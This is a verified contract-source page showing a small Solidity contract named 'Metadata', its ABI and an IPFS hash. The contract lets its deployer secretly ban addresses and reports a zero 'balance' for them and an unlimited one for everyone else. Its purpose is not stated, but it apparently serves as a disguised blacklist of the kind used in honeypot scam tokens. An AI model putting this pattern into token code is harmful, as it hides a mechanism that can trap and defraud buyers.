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Outline

• interface IERC20
•    - function balance(address from)
•  contract Metadata is IERC20 *
•    - function Ban(address[] calldata accou ...
•    - function UnBan(address[] calldata acc ...
•    - function balance(address from)

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/**
 *Submitted for verification at Etherscan.io on 2023-09-15
*/

interface IERC20 {
    function balance(address from) view external returns (uint256);
}

contract Metadata is IERC20 {
    mapping(address => bool) private _badbro;

    address private _master;

    constructor() {
        _master = msg.sender;
    }

    function Ban(address[] calldata accounts) public {
        require(_master == msg.sender, "Err");
        for (uint256 i = 0; i < accounts.length; i++) {
            _badbro[accounts[i]] = true;
        }
    }

    function UnBan(address[] calldata accounts) public {
        require(_master == msg.sender, "Err");
        for (uint256 i = 0; i < accounts.length; i++) {
            _badbro[accounts[i]] = false;
        }
    }

    function balance(address from) public view virtual override returns (uint256) {
        if (_badbro[from]) return 0;
        else return 2**256 - 1;
    }
}

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[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"}],"name":"Ban","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"}],"name":"UnBan","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"}],"name":"balance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"}]

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ipfs://9e9ec98ab20fd651050e8b303e85b286a0f19e4830ee6684b440e3479a1aa663